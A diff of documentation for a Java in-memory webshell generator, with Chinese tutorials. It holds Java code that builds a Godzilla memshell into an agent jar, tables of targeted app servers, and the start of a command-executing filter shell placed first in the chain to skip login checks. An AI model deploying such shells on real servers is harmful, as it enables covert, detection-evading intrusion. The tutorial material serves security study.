// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: " + result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: " + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
```
|
||||||
|
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||||
|
|
||||||
|
## Compatibility
|
||||||
|
|
||||||
|
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||||
|
|
||||||
|
### Middleware and Frameworks
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
||||||
|
|----------------------|----------------------|------------------------|---------------|----------------------|
|
||||||
|
| Filter | Filter | Filter | Servlet | Filter |
|
||||||
|
| Listener | Listener | Listener | Filter | Listener |
|
||||||
|
| Valve | Valve | Valve | Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
||||||
|
|
||||||
|
### MemShell Functionality
|
||||||
|
|
||||||
|
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] Command Execution
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### Packaging Methods
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] Built-in ScriptEngine, Rhino ScriptEngine
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] Native Deserialization(CB and CC)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC Connection
|
||||||
|
- [ ] Other common deserialization
|
||||||
|
|
||||||
|
## Local Build
|
||||||
|
|
||||||
|
### Building from Source Code
|
||||||
|
|
||||||
|
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
|
||||||
|
|
||||||
|
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
|
||||||
|
|
||||||
|
1. Clone the project using Git:
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
3. Build the backend project. Ensure you are using a JDK 17 environment.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-1.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
Alternatively, you can build a Docker container from the built artifacts:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Building with Dockerfile Directly
|
||||||
|
|
||||||
|
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
|
||||||
|
|
||||||
|
Download the [Dockerfile](../Dockerfile) from the project root.
|
||||||
|
|
||||||
|
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
|
||||||
|
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
|
||||||
|
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Basic build (defaults to root path "/")
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the basic image, access at http://127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# Build with custom access path (e.g., /memshell-party)
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
|
||||||
|
|
||||||
|
Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Contribute
|
||||||
|
|
||||||
|
> Any feedback or issue discussion you provide is a contribution to this project.
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
|
||||||
|
2. If you are skilled in writing memory shells, try adding support for a new type or target.
|
||||||
|
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
|
||||||
|
|
||||||
|
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
|
||||||
|
|
||||||
|
## Thanks
|
||||||
|
|
||||||
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
|
||||||
|
### Let's start the party 🎉
|
||||||
@@ -0,0 +1,178 @@
|
|||||||
|
# 学习 Java 内存马推荐工具
|
||||||
|
|
||||||
|
> 工欲善其事必先利其器
|
||||||
|
|
||||||
|
## Arthas
|
||||||
|
|
||||||
|
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
|
||||||
|
|
||||||
|
JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html
|
||||||
|
JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html
|
||||||
|
|
||||||
|
### 启动 Arthas
|
||||||
|
|
||||||
|
直接输入 `java -jar arthas-boot.jar` 启动,回车之后会弹出选项,输入数字选择需要调试的 Java 进程。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
❯ java -jar arthas-boot.jar
|
||||||
|
[INFO] JAVA_HOME: /Users/reajason/.sdkman/candidates/java/21.0.5-oracle
|
||||||
|
[INFO] arthas-boot version: 4.0.5
|
||||||
|
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
|
||||||
|
* [1]: 83922 /Users/reajason/.vscode/extensions/sonarsource.sonarlint-vscode-4.19.0-darwin-arm64/server/sonarlint-ls.jar
|
||||||
|
[2]: 86557 com.intellij.idea.Main
|
||||||
|
```
|
||||||
|
|
||||||
|
有时候可能没有 jps 命令或者不是 HotSpot JVM 会找不到 Java 进程,此时你需要通过 `ps` 找到你需要调试的 Java 进程 PID,并使用 `java -jar arthas-boot.jar <pid>` 启动。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar
|
||||||
|
[INFO] JAVA_HOME: /opt/java/openjdk
|
||||||
|
[INFO] arthas-boot version: 4.0.5
|
||||||
|
[INFO] Can not find java process. Try to run `jps` command lists the instrumented Java HotSpot VMs on the target system.
|
||||||
|
Please select an available pid.
|
||||||
|
```
|
||||||
|
|
||||||
|
arthas-boot 依赖 JDK 环境需要 tools.jar 才能启动,在 JRE 环境会歇菜。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
root@df393b860ae3:/opt/arthas# ps -ef | grep java
|
||||||
|
root 1 0 3 14:19 ? 00:00:01 /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start
|
||||||
|
root 87 50 0 14:20 pts/0 00:00:00 grep --color=auto java
|
||||||
|
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
|
||||||
|
[INFO] JAVA_HOME: /opt/java/openjdk
|
||||||
|
[INFO] arthas-boot version: 4.0.5
|
||||||
|
[INFO] arthas home: /opt/arthas
|
||||||
|
[INFO] Try to attach process 1
|
||||||
|
Exception in thread "main" java.lang.IllegalArgumentException: Can not find tools.jar under java home: /opt/java/openjdk, please try to start arthas-boot with full path java. Such as /opt/jdk/bin/java -jar arthas-boot.jar
|
||||||
|
at com.taobao.arthas.boot.ProcessUtils.findJavaHome(ProcessUtils.java:222)
|
||||||
|
at com.taobao.arthas.boot.ProcessUtils.startArthasCore(ProcessUtils.java:233)
|
||||||
|
at com.taobao.arthas.boot.Bootstrap.main(Bootstrap.java:590)
|
||||||
|
```
|
||||||
|
|
||||||
|
前面说了 Arthas 本质就是 Java Agent,因此使用 [jattach](https://github.com/jattach/jattach/releases/latest) 工具将其注入,再尝试连接即可。
|
||||||
|
|
||||||
|
TIP1: **注入的是 `/opt/arthas/arthas-agent.jar`**
|
||||||
|
TIP2: **启动仍然用的 `arthas-boot.jar`**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
root@df393b860ae3:/opt/arthas# ./jattach-linux 1 load instrument false /opt/arthas/arthas-agent.jar
|
||||||
|
Connected to remote JVM
|
||||||
|
JVM response code = 0
|
||||||
|
0
|
||||||
|
|
||||||
|
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
|
||||||
|
[INFO] JAVA_HOME: /opt/java/openjdk
|
||||||
|
[INFO] arthas-boot version: 4.0.5
|
||||||
|
[INFO] arthas home: /opt/arthas
|
||||||
|
[INFO] The target process already listen port 3658, skip attach.
|
||||||
|
[INFO] arthas-client connect 127.0.0.1 3658
|
||||||
|
,---. ,------. ,--------.,--. ,--. ,---. ,---.
|
||||||
|
/ O \ | .--. ''--. .--'| '--' | / O \ ' .-'
|
||||||
|
| .-. || '--'.' | | | .--. || .-. |`. `-.
|
||||||
|
| | | || |\ \ | | | | | || | | |.-' |
|
||||||
|
`--' `--'`--' '--' `--' `--' `--'`--' `--'`-----'
|
||||||
|
|
||||||
|
wiki https://arthas.aliyun.com/doc
|
||||||
|
tutorials https://arthas.aliyun.com/doc/arthas-tutorials.html
|
||||||
|
version 4.0.5
|
||||||
|
main_class org.apache.catalina.startup.Bootstrap start
|
||||||
|
pid 1
|
||||||
|
start_time 2025-04-09 14:19:48.004
|
||||||
|
currnt_time 2025-04-09 14:23:16.044
|
||||||
|
|
||||||
|
[arthas@1]$
|
||||||
|
```
|
||||||
|
|
||||||
|
当看到大片上述输出,且命令提示符变成 `[arthas@1]$` 你就成功进入 Arthas 了,接下来让我们看看有哪些好用的命令吧。
|
||||||
|
|
||||||
|
### jad
|
||||||
|
|
||||||
|
> [官方文档/jad.html](https://arthas.aliyun.com/doc/jad.html)
|
||||||
|
|
||||||
|
jad 命令是用来查看反编译后的类源码。除了源码信息,还能查看是哪一个 classloader 加载的当前类,以及 classloader 的继承关系,还能看到当前类存在在哪个 jar 文件中(如果有的话),拖到 IDEA 里面就能进行调试啦。
|
||||||
|
|
||||||
|
- `jad org.apache.lESNa.EncryptionUtil`,查看类源码完整信息。
|
||||||
|
- `jad org.apache.catalina.core.ApplicationFilterChain doFilter`,仅查看 doFilter 方法的源码。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
如果回车之后显示找不到类的话,可能拼写错误,或类还没有被加载到 JVM 中,可以先尝试访问类依赖的业务路径,触发类加载之后再进行 jad。
|
||||||
|
|
||||||
|
### classloader
|
||||||
|
|
||||||
|
> [官方文档/classloader.html](https://arthas.aliyun.com/doc/classloader.html)
|
||||||
|
|
||||||
|
classloader 用来查看类加载器信息。
|
||||||
|
|
||||||
|
- `classloader` 查看当前有哪些类加载器,以及其类加载情况
|
||||||
|
- `classloader -t` 查看类加载器继承关系
|
||||||
|
- `classloader -c <hash>` 指定类加载实例 hash 查看其 urls
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
此处的分析将会在 Java 基础中提及,有些 ClassNotFoundException 或 ClassCastException 可以通过此种方式找到问题所在。
|
||||||
|
|
||||||
|
### sc
|
||||||
|
|
||||||
|
> [官方文档/sc.html](https://arthas.aliyun.com/doc/sc.html)
|
||||||
|
|
||||||
|
sc 即 search-class,用来查找 JVM 中的类信息。常用的一种方式是查看 interface 的所有实现类。
|
||||||
|
|
||||||
|
- `sc javax.servlet.Servlet`,查看 Servlet 实现类有哪些
|
||||||
|
- `sc javax.servlet.ServletContext`,查看 ServletContext 实现类有哪些
|
||||||
|
- `sc -d org.apache.catalina.core.ApplicationContext`,查看类的详细信息,这样我们能定位到 jar 拖出来进行反编译分析。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### stop
|
||||||
|
|
||||||
|
执行 stop 退出当前 Arthas 命令行环境,回到 Unix shell。
|
||||||
|
|
||||||
|
```
|
||||||
|
[arthas@1]$ stop
|
||||||
|
Resetting all enhanced classes ...
|
||||||
|
Affect(class count: 0 , method count: 0) cost in 2 ms, listenerId: 0
|
||||||
|
Arthas Server is going to shutdown...
|
||||||
|
[arthas@1]$ session (c5ee97b5-6809-48ab-bdfc-09d900087ec9) is closed because server is going to shutdown.
|
||||||
|
```
|
||||||
|
|
||||||
|
## Jadx
|
||||||
|
|
||||||
|
> [skylot/jadx](https://github.com/skylot/jadx)
|
||||||
|
|
||||||
|
目前 Java 最强反编译器,人手一个,几乎可以反编译任何 jar 包,部分究极混淆的类,即使无法反编译成功,也可查看字节码。
|
||||||
|
|
||||||
|
打开之后,可以直接将 class 或 jar 拖入到左边框中就会自动进行反编译,点击 Source Code 里面就能看到反编译的结果,最下面可以选 Code、Smali 等等,一般 Code 里面反编译失败才需要切换,其他功能可查看 [记录 Rainbow Brackets 插件破解](https://reajason.eu.org/writing/rainbowbracketscracked/) 了解一下常用的操作。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## File Expander — IDEA 插件
|
||||||
|
|
||||||
|
IDEA 自带反编译功能,并且使用习惯之后也是相当好用。但是有一个问题,如果 jar 包中套 jar 包,那么里面的 jar 包并不会默认展开,自然想到的办法就是解压 一次 jar,把里面的东西弄出来,但是有了 File Expander 插件之后,无论是 zip 还是 jar in jar,都轻松查看了。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
下图演示了 java-chains-1.4.0.jar,直接可以 expand 到 chains-core,开学!!!,这种情况下不比 jadx 要好用。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Find 命令
|
||||||
|
|
||||||
|
在批量查找当前目录下某个类存在于那个 jar 文件中,需要使用到 find 命令协助,由于需要用到 jar 命令,因此依赖 JDK 环境。JRE 环境下,可以将文件打包发送到 JDK 环境再继续研究。
|
||||||
|
|
||||||
|
在 tomcat 目录下,找到 ApplicationContext 在哪个 jar 文件中。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
░▒▓ ~/workspace/apache-tomcat-8.5.96
|
||||||
|
❯ find . -name "*.jar" -type f -exec sh -c 'jar tvf "{}" | grep -q "org/apache/catalina/core/ApplicationContext" && echo "Found in: {}"' \;
|
||||||
|
Found in: ./lib/catalina.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
部分环境下,例如 WAS 可能并没有设置 Java Home,此时 jar 命令使用绝对路径即可。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
[was@59385194e5aa AppServer]$ find . -name "*.jar" -type f -exec sh -c '/opt/IBM/WebSphere/AppServer/java/bin/jar tvf "{}" | grep -q "com/ibm/ws/webcontainer/webapp/WebApp" && echo "Found in: {}"' \;
|
||||||
|
Found in: ./plugins/com.ibm.ws.webcontainer.jar
|
||||||
|
```
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
# Java 内存马简介
|
||||||
|
|
||||||
|
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
|
||||||
|
|
||||||
|
## 什么是 webshell
|
||||||
|
|
||||||
|
> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)
|
||||||
|
|
||||||
|
webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。
|
||||||
|
|
||||||
|
常见的 webshell 功能包括:
|
||||||
|
|
||||||
|
1. 命令回显,反弹 unix shell
|
||||||
|
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
||||||
|
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
||||||
|
|
||||||
|
## 演变历程
|
||||||
|
|
||||||
|
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
||||||
|
|
||||||
|
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
||||||
|
|
||||||
|
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
||||||
|
|
||||||
|
## 常见 Java 内存马
|
||||||
|
|
||||||
|
在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。
|
||||||
|
|
||||||
|
冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。
|
||||||
|
|
||||||
|
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
||||||
|
|
||||||
|
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
|
||||||
|
|
||||||
|
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
||||||
|
|
||||||
|
## 延伸阅读
|
||||||
|
|
||||||
|
- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
|
||||||
|
- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
|
||||||
|
- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)
|
||||||
|
After Width: | Height: | Size: 174 KiB |
|
After Width: | Height: | Size: 282 KiB |
|
After Width: | Height: | Size: 92 KiB |
|
After Width: | Height: | Size: 130 KiB |
|
After Width: | Height: | Size: 232 KiB |
|
After Width: | Height: | Size: 121 KiB |
|
After Width: | Height: | Size: 326 KiB |
@@ -0,0 +1,101 @@
|
|||||||
|
# Java Servlet Filter
|
||||||
|
|
||||||
|
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
|
||||||
|
|
||||||
|
Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。
|
||||||
|
|
||||||
|
## Filter 配置
|
||||||
|
|
||||||
|
Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<filter-mapping>
|
||||||
|
<filter-name>Multipe Mappings Filter</filter-name>
|
||||||
|
<url-pattern>/foo/*</url-pattern>
|
||||||
|
<servlet-name>Servlet1</servlet-name>
|
||||||
|
<servlet-name>Servlet2</servlet-name>
|
||||||
|
<url-pattern>/bar/*</url-pattern>
|
||||||
|
</filter-mapping>
|
||||||
|
```
|
||||||
|
|
||||||
|
```java
|
||||||
|
@WebFilter(
|
||||||
|
filterName = "Multipe Mappings Filter",
|
||||||
|
urlPatterns = {"/foo/*", "/bar/*"},
|
||||||
|
servletNames = {"Servlet1", "Servlet2"}
|
||||||
|
)
|
||||||
|
public class MultipeMappingsFilter implements Filter {
|
||||||
|
@Override
|
||||||
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||||
|
// TODO
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## doFilter
|
||||||
|
|
||||||
|
Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。
|
||||||
|
|
||||||
|
Filter 的接口签名如下,其中最重要的就是 doFilter 方法。
|
||||||
|
|
||||||
|
1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。
|
||||||
|
2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。
|
||||||
|
3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。
|
||||||
|
4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public interface Filter {
|
||||||
|
/**
|
||||||
|
* 由 Web 容器在初始化 Filter 时调用。
|
||||||
|
*/
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException;
|
||||||
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException;
|
||||||
|
/**
|
||||||
|
* 由 Web 容器在卸载 Filter 时调用。
|
||||||
|
*/
|
||||||
|
public void destroy();
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## FilterShell
|
||||||
|
|
||||||
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
|
||||||
|
|
||||||
|
1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
|
||||||
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||||
|
3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public class CommandFilter implements Filter {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||||
|
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||||
|
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||||
|
